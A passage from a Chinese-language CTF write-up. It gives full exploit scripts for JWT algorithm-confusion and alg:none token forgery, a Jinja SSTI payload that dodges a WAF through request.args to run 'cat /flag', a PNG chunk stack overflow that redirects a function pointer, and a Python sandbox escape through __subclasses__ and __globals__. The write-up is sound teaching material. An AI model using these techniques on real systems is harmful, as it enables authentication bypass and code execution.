verify() 函数在alg == "HS256" 时使用公钥作为 HMAC 密钥进行校验,而公钥/static/public.pem 是公开的。用公钥签发一个HS256 的 admin token 即可绕过认证:
import base64, hashlib, hmac, json, urllib.request# 获取公开的公钥pub_pem = urllib.request.urlopen("http://nc1.ctfplus.cn:33590/static/public.pem").read()def b64e(data):return base64.urlsafe_b64encode(data).rstrip(b"=").decode()header = {"alg": "HS256", "typ": "JWT"}payload = {"user": "admin", "role": "admin"}seg_header = b64e(json.dumps(header, separators=(",", ":")).encode())seg_payload = b64e(json.dumps(payload, separators=(",", ":")).encode())signing_input = f"{seg_header}.{seg_payload}".encode()signature = hmac.new(pub_pem, signing_input, hashlib.sha256).digest()token = f"{seg_header}.{seg_payload}.{b64e(signature)}"print(token)
使用伪造的 token 访问/admin,成功进入管理后台。
Step 3: SSTI + WAF 绕过 — 读取 Flag
/admin/preview 的模板渲染存在 SSTI,但 WAF 过滤了os、popen、system、eval、exec、import、class、subclasses、mro、globals、builtins、init、getattr、flag、read、open 等关键字。
「绕过思路:」 WAF 只检查模板字符串本身,不检查 URL 查询参数。将被过滤的关键字通过request.args 传入,模板中用|attr() 过滤器动态访问属性:
TOKEN="<forged_jwt_token>"# 模板中所有被过滤的词都通过 request.args 传入TEMPLATE='{{((lipsum|attr(request.args.a))[request.args.b]|attr(request.args.c))(request.args.d)|attr(request.args.e)()}}'curl -s -b "token=$TOKEN" \-X POST "http://nc1.ctfplus.cn:33590/admin/preview?a=__globals__&b=os&c=popen&d=cat+/flag&e=read" \--data-urlencode "template=$TEMPLATE"
「调用链:」
lipsum.__globals__['os'].popen('cat /flag').read()模板字符串中不包含任何被过滤的关键字,WAF 检查通过;运行时通过request.args 参数动态解析,最终执行系统命令读取 flag。
Flag
flag{7bdb727e-b2e1-4881-ac07-be3427051090}BABYPWN-pwn
Summary
题目外层是一个图片上传 Web 服务,内层会调用relayd 解析上传的 PNG。利用点有两个:Web 层 JWT 接受alg:none,可以伪造relay_operator;二进制层解析自定义txRT chunk 时,caption 字段无长度限制,可以覆盖栈上的函数指针并跳到隐藏读 flag 函数。
Solution
Step 1: 分析 relayd
附件只有一个 ELF:
relayd: ELF64 x86-64 PIEPIE enabled, NX enabled, Full RELRO, Canary disabled
程序读取图片文件,检查 PNG 头,然后遍历 chunk。遇到自定义 chunktxRT 时进入解析函数。
txRT 的数据格式为:
uint16_le route_lenuint16_le caption_lenroute[route_len]caption[caption_len]
在txRT 解析函数中,栈上有一个结构体缓冲区和一个函数指针:
caption copy dst = rbp - 0x80function pointer = rbp - 0x20distance = 0x60
默认函数指针指向:
base + 0x13c7隐藏读 flag 函数在:
base + 0x13f5因为二者只差最低字节,所以不需要泄露 PIE,只要让caption_len = 0x61,写入:
b"A" * 0x60 + b"\xf5"即可把函数指针低字节从0xc7 改成0xf5。
Step 2: 绕过 Web 层 dispatch 权限
访问远程服务发现它不是裸 nc,而是 Gunicorn Web:
GET /页面里上传逻辑是:
POST /api/uploadPOST /api/dispatchAuthorization: Bearer <JWT>
页面自带的 token payload 是:
{"role":"guest","scope":"upload"}直接 dispatch 返回:
{"error":"relay_operator token required"}测试发现服务端接受alg:none,因此可以伪造:
{"role":"relay_operator","scope":"dispatch"}并使用空签名 JWT:
base64url({"typ":"JWT","alg":"none"}).base64url(payload).Step 3: 完整利用脚本
import base64import jsonimport reimport structimport sysimport requestsBASE = sys.argv[1] if len(sys.argv) > 1 else "http://nc1.ctfplus.cn:39725"PNG_SIG = b"\x89PNG\r\n\x1a\n"def b64u(data: bytes) -> str:return base64.urlsafe_b64encode(data).rstrip(b"=").decode()def none_jwt(payload: dict) -> str:header = b64u(json.dumps({"typ": "JWT", "alg": "none"}, separators=(",", ":")).encode())body = b64u(json.dumps(payload, separators=(",", ":")).encode())return f"{header}.{body}."def chunk(kind: bytes, data: bytes) -> bytes:return struct.pack(">I", len(data)) + kind + data + b"\x00\x00\x00\x00"def build_payload() -> bytes:route = b""caption = b"A" * 0x60 + b"\xf5"txrt = struct.pack("<HH", len(route), len(caption)) + route + captionreturn PNG_SIG + chunk(b"txRT", txrt) + chunk(b"IEND", b"")payload = build_payload()token = none_jwt({"role": "relay_operator", "scope": "dispatch"})upload = requests.post(BASE.rstrip("/") + "/api/upload",files={"file": ("exploit.png", payload, "image/png")},timeout=15,)print("[upload]", upload.status_code, upload.text)upload.raise_for_status()job_id = upload.json()["job_id"]dispatch = requests.post(BASE.rstrip("/") + "/api/dispatch",headers={"Authorization": f"Bearer {token}","Content-Type": "application/json",},json={"job_id": job_id},timeout=15,)print("[dispatch]", dispatch.status_code)print(dispatch.text)dispatch.raise_for_status()match = re.search(r"flag\{[^}\r\n]+\}", dispatch.text)if match:print("[+] flag:", match.group(0))
运行:
python3 solve_http_relayd.py http://nc1.ctfplus.cn:39725输出关键部分:
[] chunk txRT size=101[] channel=alpha route= caption_len=97[] frame checksum: flag{placeholder_waiting_for_platform_override}[] chunk IEND size=0
keysafe-pwn
Summary
一道 Python 沙箱逃逸题,防护极其严密:seccomp 禁 execve、审计钩子禁 import/open、模块清理删 os/sys、自定义 getattr 禁__subclasses__/__globals__/__dict__。核心思路是利用type.__subclasses__ 的 C 层描述符协议绕过自定义 getattr,通过os._wrap_close.__init__.__globals__ 拿到os 模块的完整函数表,最终用os.getenv 读取环境变量中的 flag。
题目环境
Ubuntu 22.04 LTS,glibc 2.35,Python 3.10.12 交互式 Python 沙箱,输入代码后发送 RUN执行,QUIT退出
Solution
Step 1: 分析沙箱防护层
题目设置了五层防护:
execve(59) 和execveat(322),KILL_PROCESS 级别 | |
sys.addaudithookimport、open、marshal.loads、pickle.find_class、ctypes.dlopen、ctypes.dlsym | |
__dict__ 中删除sys 和_os;从sys.modules 中弹出os、io、struct 等 | |
__subclasses__、__globals__、__dict__、__code__、f_back、f_globals 等 | |
__builtins__ 设为空 dict |
关键:type 和object 在白名单中,type.__subclasses__ 是 C 层面的 method descriptor,其访问走 CPython 的type_getattro 而非 Python 层的getattr,因此「不经过自定义_safe_getattr」。
Step 2: 绕过 getattr — 获取 os 模块
# type.__subclasses__ 绕过自定义 getattr(C 层描述符协议)obj = type.__bases__[0] # objectsubs = type.__subclasses__(obj) # 列出所有已注册类# 找到 os._wrap_close — 它的 __init__.__globals__ 就是 os 模块的全局命名空间for c in subs:if '_wrap_close' in str(c):init = type.__getattribute__(c, '__init__')# object.__getattribute__ 绕过自定义 getattr 访问 __globals__g = object.__getattribute__(init, '__globals__')print("open:", g['open']) # os.open (低级 POSIX open)print("read:", g['read']) # os.readprint("getenv:", g['getenv']) # os.getenvbreak
os._wrap_close.__init__.__globals__ 包含os 模块的完整函数表:open、read、write、popen、system、getenv、listdir、scandir 等。
Step 3: 读取 Flag
os.open 触发审计钩子的open 事件被拦截,os.popen/os.system 被 seccomp 的execve 禁令阻断。但os.getenv 既不触发open 事件也不触发execve,且 flag 恰好存在环境变量FLAG 中:
obj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs:if '_wrap_close' in str(c):init = type.__getattribute__(c, '__init__')g = object.__getattribute__(init, '__globals__')print(g['getenv']('FLAG'))break
输出:
flag{f51aa808-dfa1-42fd-b41c-d6f1046bc17d}完整利用脚本
# 绕过自定义 getattr: type.__subclasses__ 走 C 层描述符协议# 绕过 __globals__ 拦截: object.__getattribute__ 不经过 Python 层 getattrobj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs:if '_wrap_close' in str(c):init = type.__getattribute__(c, '__init__')g = object.__getattribute__(init, '__globals__')# os.open 被审计钩子拦,os.popen 被 seccomp 拦# os.getenv 不触发任何拦截,flag 恰好在环境变量 FLAG 中print(g['getenv']('FLAG'))break